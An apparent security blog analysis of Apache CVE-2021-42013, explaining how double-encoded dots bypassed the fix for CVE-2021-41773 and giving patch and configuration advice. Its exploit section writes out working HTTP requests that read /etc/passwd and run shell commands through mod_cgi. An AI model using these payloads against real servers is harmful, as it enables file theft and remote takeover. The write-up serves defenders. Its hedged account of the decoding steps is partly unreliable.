CVE-2021-42013

Apache's Double-Fault: The Tale of CVE-2021-42013

Alon Barad
Alon Barad
Software Engineer

Jan 10, 2026·6 min read

Executive Summary (TL;DR)

Apache tried to fix a path traversal bug (CVE-2021-41773) in version 2.4.50 but failed to account for recursive decoding. By double-encoding the dot character (%%32%65), attackers can bypass the filter, read arbitrary files (like /etc/passwd), or achieve RCE via mod_cgi. Patch immediately to 2.4.51.

A critical Path Traversal and Remote Code Execution vulnerability in Apache HTTP Server 2.4.49 and 2.4.50. Born from a failed fix for CVE-2021-41773, this exploit utilizes double URL encoding to bypass path normalization filters, allowing attackers to escape the web root and execute arbitrary commands.

The Hook: Deja Vu All Over Again

There is an old saying in software development: "If it ain't broke, don't fix it." The Apache team, however, decided to refactor the path normalization logic in version 2.4.49. Why? To clean up the code. What happened? They accidentally removed the safety rails that kept users inside the web root.

When CVE-2021-41773 dropped, it was a simple, embarrassing path traversal bug. Attackers could just ask for .%2e/ and the server would happily oblige. The Apache team scrambled and released version 2.4.50 to plug the hole. They added a check to strip out the offending encoded characters.

But here is the punchline: they assumed the attacker would play fair and only encode things once. Security researchers, being the cynical creatures they are, immediately asked, "What if we encode the encoding?" And just like that, CVE-2021-42013 was born. It’s the digital equivalent of locking your front door but leaving the key under the mat, then hiding the mat under a slightly larger mat.

The Flaw: Recursion is Hard

The vulnerability lives in server/util.c, specifically in a function called ap_normalize_path. This function is the bouncer of the web server; it's supposed to look at the URL, strip out weird characters, resolve relative paths (like ../), and hand over a clean, safe path to the core server.

The logic failure in 2.4.50 was a classic misunderstanding of decoding layers. The patch for the previous bug checked for %2e (the URL encoded dot). If it saw that, it blocked the request. Simple, right?

Wrong. The server's decoding engine is a bit too helpful. It supports decoding hex values. So, if you send %%32%65, the server sees a % followed by %32 (which decodes to 2) and %65 (which decodes to e). Wait, that logic is slightly off—it's actually simpler.

The sequence %%32%65 is treated as a double-encoded string. In the first pass, %32 becomes 2 and %65 becomes e. The string transforms from %%32%65 to %2e. The validator in 2.4.50 ran before the final normalization pass was fully resolved, or rather, the normalization loop re-evaluated the result. Once %2e was generated, a subsequent pass interpreted %2e as a literal dot (.). The result? A perfectly valid .. sequence that the initial filter completely missed because it was wearing blinders looking only for the first layer of obfuscation.

The Code: The Smoking Gun

Let's look at the mechanics of the bypass. The fix for CVE-2021-41773 tried to be smart by validating the path, but it underestimated the persistence of the normalization loop.

The Attack String: %%32%65

  1. Input: The attacker sends GET /icons/%%32%65%%32%65/etc/passwd.
  2. Pass 1 (Decoding): The server sees %32 and %65.
    • %32 -> 2
    • %65 -> e
    • The string becomes /icons/%2e%2e/etc/passwd.
  3. The Flawed Check: The 2.4.50 patch looked for specific patterns, but because the decoding happened in stages, the check arguably happened on the raw input or an intermediate state that didn't look malicious yet.
  4. Pass 2 (normalization): The server processes the string again. Now it sees %2e, which it decodes to ..
    • The string becomes /icons/../etc/passwd.

Because the previous patch didn't account for this recursive resolution, the directory traversal logic kicks in. The ../ effectively cancels out /icons/, stepping up into the root directory. From there, it's a straight shot to /etc/passwd.

[!NOTE] This highlights a critical security principle: Validation must occur on the canonicalized (final) form of the input, not the raw input.

The Exploit: From Traversal to RCE

This vulnerability isn't just about reading files; it's about executing them. If the server has mod_cgi enabled (which, shockingly, many legacy setups do), this becomes a full Remote Code Execution (RCE) vulnerability.

Scenario 1: File Read (LFI) Reading the password file is the "Hello World" of path traversal.

GET /icons/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/etc/passwd HTTP/1.1
Host: target.com

If the server returns root:x:0:0:..., you have won.

Scenario 2: Remote Code Execution (RCE) The real danger lies in accessing /bin/sh. By traversing out of the cgi-bin directory (or any aliased directory), we can call the system shell.

POST /cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
 
echo Content-Type: text/plain; echo; id

In this payload, we are telling Apache: "Go up three directories, find bin/sh, and feed it this body content as input." The server executes id, and the response contains uid=33(www-data).

The Impact: Why We Panic

A CVSS score of 9.8 isn't handed out lightly. This is a "drop everything and patch" situation. Because this vulnerability sits in the core HTTP daemon, it requires zero authentication. If the server is on the internet, it is vulnerable.

The implications are catastrophic:

  • Data Exfiltration: Source code, configuration files, and user data are exposed.
  • Server Takeover: With RCE, the attacker is the web server. They can install backdoors, pivot to the internal network, or deploy ransomware.
  • Ransomware Campaigns: CISA has confirmed this CVE is a favorite among ransomware operators. It provides a clean, reliable entry point into corporate networks.

It affects not just vanilla Apache, but embedded systems and enterprise software suites from Oracle and NetApp that bundled these specific versions. It's a supply chain headache waiting to happen.

The Fix: Stop the Bleeding

The remediation is straightforward: Upgrade to Apache HTTP Server 2.4.51 or later. The 2.4.51 patch introduced a much stricter normalization process that properly handles multiple encoding passes and rejects non-standard traversal attempts.

If you cannot patch immediately (why?), you can mitigate this by hardening your configuration. Ensure that the default <Directory /> block is set to deny everything. This prevents the server from accessing files outside explicitly allowed paths, even if the traversal logic is bypassed.

<Directory />
    AllowOverride none
    Require all denied
</Directory>

Additionally, turn off mod_cgi if you aren't using it. There is rarely a good reason to be running CGI scripts in the modern era, and leaving it on is just inviting trouble.

Technical Appendix

CVSS Score
9.8/ 10
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
EPSS Probability
94.41%
Top 0% most exploited

Affected Systems

Apache HTTP Server 2.4.49Apache HTTP Server 2.4.50Oracle JD EdwardsOracle InstantisNetApp Clustered Data ONTAP

Affected Versions Detail

Product
Affected Versions
Fixed Version
Apache HTTP Server
Apache
2.4.492.4.51
Apache HTTP Server
Apache
2.4.502.4.51
AttributeDetail
CWE IDCWE-22 (Path Traversal)
CVSS v3.19.8 (Critical)
Attack VectorNetwork (AV:N)
Exploit StatusActive / Weaponized
EPSS Score94.41%
KEV ListedYes (2021-11-03)
CWE-22
Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

The software uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the software does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.

Vulnerability Timeline

CVE-2021-41773 Disclosed
2021-10-05
CVE-2021-42013 Disclosed (Incomplete Fix)
2021-10-07
Apache 2.4.51 Released
2021-10-08
Added to CISA KEV
2021-11-03

Subscribe to updates

Get the latest CVE analysis reports delivered to your inbox.